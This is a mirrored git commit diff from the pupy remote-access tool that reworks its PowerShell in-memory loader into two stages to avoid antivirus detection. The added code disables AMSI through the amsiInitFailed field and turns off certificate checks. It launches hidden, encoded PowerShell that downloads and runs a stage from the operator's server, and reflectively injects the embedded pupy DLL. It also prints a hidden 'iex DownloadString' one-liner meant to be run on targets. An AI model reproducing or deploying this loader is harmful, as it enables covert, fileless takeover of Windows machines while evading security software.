mirror of https://github.com/n1nj4sec/pupy.git
Avoid AV detection with ps1_oneliner (2 stages now)
This commit is contained in:
parent
732cf7b6b4
commit
1e74076749
|
@ -1,21 +1,36 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
|
||||
from rpyc.utils.classic import upload
|
||||
import base64, re, subprocess
|
||||
from subprocess import PIPE, Popen
|
||||
|
||||
def execute_powershell_script(module, content, function, x64IfPossible=False):
|
||||
def execute_powershell_script(module, content, function, x64IfPossible=False, script_name=None):
|
||||
'''
|
||||
To get function output, Write-Output should be used (stdout output).
|
||||
If you use Write-Verbose in your code for example, the output will be not captured because the output is not done over stdout (with Write-Verbose)
|
||||
'''
|
||||
# content = re.sub("Write-Verbose ","Write-Output ", content, flags=re.I) # could break the output with mimikatz
|
||||
content = re.sub("Write-Error ","Write-Output ", content, flags=re.I)
|
||||
content = re.sub("Write-Warning ","Write-Output ", content, flags=re.I)
|
||||
|
||||
path="powershell.exe"
|
||||
arch = 'x64'
|
||||
if x64IfPossible:
|
||||
if "64" in module.client.desc['os_arch'] and "32" in module.client.desc['proc_arch']:
|
||||
path=r"C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe"
|
||||
path=r"C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe"
|
||||
elif "32" in module.client.desc['proc_arch']:
|
||||
arch = 'x86'
|
||||
|
||||
fullargs=[path, "-C", "-"]
|
||||
|
||||
# create and store the powershell object if it not exists
|
||||
if not module.client.powershell[arch]['object']:
|
||||
p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True)
|
||||
module.client.powershell[arch]['object'] = p
|
||||
else:
|
||||
p = module.client.powershell[arch]['object']
|
||||
|
||||
if script_name not in module.client.powershell[arch]['scripts_loaded']:
|
||||
module.client.powershell[arch]['scripts_loaded'].append(script_name)
|
||||
p.stdin.write("$base64=\"\""+"\n")
|
||||
n = 20000
|
||||
line = base64.b64encode(content)
|
||||
|
@ -26,7 +41,10 @@ def execute_powershell_script(module, content, function, x64IfPossible=False):
|
|||
|
||||
p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
|
||||
p.stdin.write("Invoke-Expression $d\n")
|
||||
p.stdin.write("$a=Invoke-Expression \"%s\" | Format-Table -HideTableHeaders | Out-String\n" % function)
|
||||
|
||||
# else: the powershell script is already loaded, call the function wanted
|
||||
|
||||
p.stdin.write("\n$a=Invoke-Expression \"%s\" | Format-Table | Out-String\n" % function)
|
||||
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
|
||||
p.stdin.write("Write-Host $b\n")
|
||||
|
||||
|
@ -35,7 +53,6 @@ def execute_powershell_script(module, content, function, x64IfPossible=False):
|
|||
for i in p.stdout.readline():
|
||||
output += i
|
||||
output = base64.b64decode(output)
|
||||
p.stdin.write("exit\n")
|
||||
return output
|
||||
|
||||
def remove_comments(string):
|
||||
|
@ -68,3 +85,14 @@ def obfuscatePowershellScript(code):
|
|||
if "function Invoke-ReflectivePEInjection" in newCode:
|
||||
newCode = newCode.replace("$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null", "$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIS'+'TICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null")
|
||||
return newCode
|
||||
|
||||
def obfs_ps_script(script):
|
||||
"""
|
||||
Strip block comments, line comments, empty lines, verbose statements,
|
||||
and debug statements from a PowerShell source file.
|
||||
"""
|
||||
# strip block comments
|
||||
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
|
||||
return strippedCode
|
||||
|
|
|
@ -2,104 +2,113 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||
import os.path
|
||||
import base64
|
||||
from pupylib.utils.term import colorize
|
||||
import textwrap
|
||||
import random, string
|
||||
import time
|
||||
from pupygen import get_edit_pupyx86_dll, get_edit_pupyx64_dll
|
||||
from pupygen import get_edit_pupyx86_dll
|
||||
try:
|
||||
import ConfigParser as configparser
|
||||
except ImportError:
|
||||
import configparser
|
||||
from ssl import wrap_socket
|
||||
from base64 import b64encode
|
||||
import re
|
||||
|
||||
from modules.lib.windows.powershell_upload import obfuscatePowershellScript, obfs_ps_script
|
||||
|
||||
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
|
||||
|
||||
def pad(s):
|
||||
"""
|
||||
Performs PKCS#7 padding for 128 bit block size.
|
||||
"""
|
||||
return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16)
|
||||
#url_random_one = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
|
||||
#url_random_two = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
|
||||
### url_random_one and url_random_two variables are fixed because if you break you ps1_neliner listener, the payload will be not be able to get stages -:(
|
||||
url_random_one = "eiloShaegae1"
|
||||
url_random_two = "IMo8oosieVai"
|
||||
|
||||
from Crypto.Cipher import AES
|
||||
def aes_encrypt(data, key):
|
||||
IV="\x00"*16
|
||||
cipher = AES.new(key, AES.MODE_CBC, IV)
|
||||
return cipher.encrypt(pad(data))
|
||||
def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf):
|
||||
'''
|
||||
Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded
|
||||
Ready for executing
|
||||
'''
|
||||
SPLIT_SIZE = 100000
|
||||
x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", ""
|
||||
code = """
|
||||
$PEBytes = ""
|
||||
{0}
|
||||
$PEBytesTotal = [System.Convert]::FromBase64String({1})
|
||||
Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
|
||||
"""#{1}=x86dll
|
||||
binaryX86=b64encode(get_edit_pupyx86_dll(payload_conf))
|
||||
binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)]
|
||||
for i,aPart in enumerate(binaryX86parts):
|
||||
x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
|
||||
x86ConcatCode += "$PEBytes{0}+".format(i)
|
||||
print(colorize("[+] ","green")+"X86 pupy dll loaded and {0} variables generated".format(i+1))
|
||||
script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read())
|
||||
return obfs_ps_script("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1])))
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False, nothidden=False):
|
||||
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||
try{{
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
|
||||
}}catch{{}}
|
||||
{}
|
||||
""".format(ps_command)
|
||||
|
||||
PS1_DECRYPT="""
|
||||
[Reflection.Assembly]::LoadWithPartialName("System.Security")
|
||||
function AES-Decrypt($Encrypted, $Passphrase)
|
||||
{
|
||||
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
$IV = New-Object Byte[] 16
|
||||
$AES.Mode="CBC"
|
||||
$AES.KeySize=128
|
||||
$AES.Key=[Text.Encoding]::ASCII.GetBytes($Passphrase)
|
||||
$AES.IV = $IV
|
||||
$AES.Padding = "None"
|
||||
$d = $AES.CreateDecryptor()
|
||||
$ms = new-Object IO.MemoryStream @(,$Encrypted)
|
||||
$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"
|
||||
$count = $cs.Read($Encrypted, 0, $Encrypted.Length)
|
||||
$cs.Close()
|
||||
$ms.Close()
|
||||
$AES.Clear()
|
||||
$Encrypted[0..($Encrypted.Length - $Encrypted[-1] - 1)]
|
||||
}
|
||||
"""
|
||||
if force_ps32:
|
||||
command = """$command = '{}'
|
||||
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
|
||||
{{
|
||||
|
||||
$exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command
|
||||
IEX $exec
|
||||
}}
|
||||
else
|
||||
{{
|
||||
$exec = [System.Convert]::FromBase64String($command)
|
||||
$exec = [Text.Encoding]::Unicode.GetString($exec)
|
||||
IEX $exec
|
||||
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
|
||||
|
||||
if nothidden is True:
|
||||
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||
else:
|
||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||
|
||||
elif not force_ps32:
|
||||
if nothidden is True:
|
||||
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||
else:
|
||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||
|
||||
return command
|
||||
|
||||
class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
|
||||
def do_GET(self):
|
||||
if self.path=="/p":
|
||||
# print self.server.random_reflectivepeinj_name
|
||||
if self.path=="/%s" % url_random_one:
|
||||
self.send_response(200)
|
||||
self.send_header('Content-type','text/html')
|
||||
self.end_headers()
|
||||
pe_bootloader=PS1_DECRYPT+"\n"+(textwrap.dedent("""
|
||||
$p="%s"
|
||||
$rpi=(((New-Object System.Net.WebClient).DownloadData("http://%s:%s/rpi")))
|
||||
$path="b64"
|
||||
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"}
|
||||
$raw=([Byte[]]((New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path)))
|
||||
iex([System.Text.Encoding]::UTF8.GetString( (AES-Decrypt $rpi $p)))
|
||||
Write-Output "DLL received"
|
||||
$raw=AES-Decrypt $raw $p
|
||||
Write-Output "Reflective DLL decrypted"
|
||||
[GC]::Collect()
|
||||
%s -ForceASLR -PEBytes $raw #-Verbose
|
||||
"""%(self.server.aes_key, self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port, self.server.random_reflectivepeinj_name)))
|
||||
self.wfile.write(pe_bootloader)
|
||||
print colorize("[+] ","green")+" powershell script stage1 served !"
|
||||
|
||||
elif self.path=="/rpi":
|
||||
#serve the powershell script
|
||||
launcher = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('http://{server}:{port}/{url_random_two}');""".format(
|
||||
server=self.server.link_ip,
|
||||
port=self.server.link_port,
|
||||
url_random_two=url_random_two
|
||||
)
|
||||
launcher = create_ps_command(launcher, force_ps32=True, nothidden=False)
|
||||
self.wfile.write(launcher)
|
||||
print colorize("[+] ","green")+"[Stage 1/2] Powershell script served !"
|
||||
|
||||
elif self.path=="/%s" % url_random_two:
|
||||
self.send_response(200)
|
||||
#self.send_header('Content-type','text/html')
|
||||
self.send_header('Content-type','application/octet-stream')
|
||||
self.end_headers()
|
||||
code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()
|
||||
code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o)
|
||||
d=aes_encrypt(code, self.server.aes_key)
|
||||
self.wfile.write(d)
|
||||
print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !"
|
||||
elif self.path=="/b32":
|
||||
#serve the pupy 32bits dll to load from memory
|
||||
self.send_response(200)
|
||||
self.send_header('Content-type','application/octet-stream')
|
||||
self.end_headers()
|
||||
print colorize("[+] ","green")+" generating x86 reflective dll ..."
|
||||
self.wfile.write(aes_encrypt(get_edit_pupyx86_dll(self.server.payload_conf), self.server.aes_key))
|
||||
print colorize("[+] ","green")+" pupy x86 reflective dll served !"
|
||||
elif self.path=="/b64":
|
||||
#serve the pupy 64bits dll to load from memory
|
||||
self.send_response(200)
|
||||
self.send_header('Content-type','application/octet-stream')
|
||||
self.end_headers()
|
||||
print colorize("[+] ","green")+" generating amd64 reflective dll ..."
|
||||
self.wfile.write(aes_encrypt(get_edit_pupyx64_dll(self.server.payload_conf), self.server.aes_key))
|
||||
print colorize("[+] ","green")+" pupy amd64 reflective dll served !"
|
||||
self.wfile.write(getInvokeReflectivePEInjectionWithDLLEmbedded(self.server.payload_conf))
|
||||
print colorize("[+] ","green")+"[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!"
|
||||
print colorize("[+] ","green")+"You should have a pupy shell in few seconds from this host..."
|
||||
|
||||
else:
|
||||
self.send_response(404)
|
||||
self.end_headers()
|
||||
|
@ -134,7 +143,9 @@ def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", ssl=Fa
|
|||
raise
|
||||
print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :"
|
||||
print " --- "
|
||||
oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/p')\""%(link_ip, port), "green")
|
||||
oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/%s')\""%(link_ip, port, url_random_one), "green")
|
||||
# This line could work check when proxy is used (have to be tested)
|
||||
# oneliner=colorize("powershell.exe -w hidden -noni -nop -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://%s:%s/pa')"%(link_ip, port), "green")
|
||||
print oneliner
|
||||
print " --- "
|
||||
|
||||
|
|
Loading…
Reference in New Issue